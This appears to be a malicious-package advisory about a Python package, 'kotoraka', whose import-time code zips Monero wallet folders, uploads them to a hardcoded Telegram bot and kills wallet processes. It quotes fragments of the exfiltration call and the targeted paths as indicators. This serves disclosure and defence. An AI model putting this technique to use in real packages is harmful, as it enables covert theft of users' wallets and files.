GCVE-110-OSM-2026-10130

This is a credential/data theft implant targeting Monero wallet directories and exfiltrating archives to a hardcoded Telegram bot, which is a classic attacker-controlled C2 model. The import-time code in `kotoraka/__init__.py` immediately locates `C:\Users\{}\Documents\Monero` or `/home/{}/Monero`, zips the contents, and posts `dmp.zip` via `https://api.telegram.org/bot{TK}/sendDocument`. It also sends status messages to `sendMessage` and kills processes named `feather` and `monero`, showing clear hostile intent to defeat wallet software and exfiltrate victim files. The base64-decoded bot token and the minimal throwaway metadata reinforce that this is not a legitimate library. ENTRY kotoraka/__init__.py (module-import: 80) DESTINATION - 2 exfil (telegram-bot) (values recorded in verified_iocs) EXFIL - Python Archive Exfiltration in kotoraka/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Python File Upload to Remote in kotoraka/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Network Request in kotoraka/__init__.py: "requests.post(" - System Information Collection in kotoraka/__init__.py: "platform.system()" OBFUSCATION - Decoded Base64 Content in kotoraka/__init__.py (x3) - recovered 2 paths from decoded/deobfuscated content PAYLOAD FILES kotoraka/__init__.py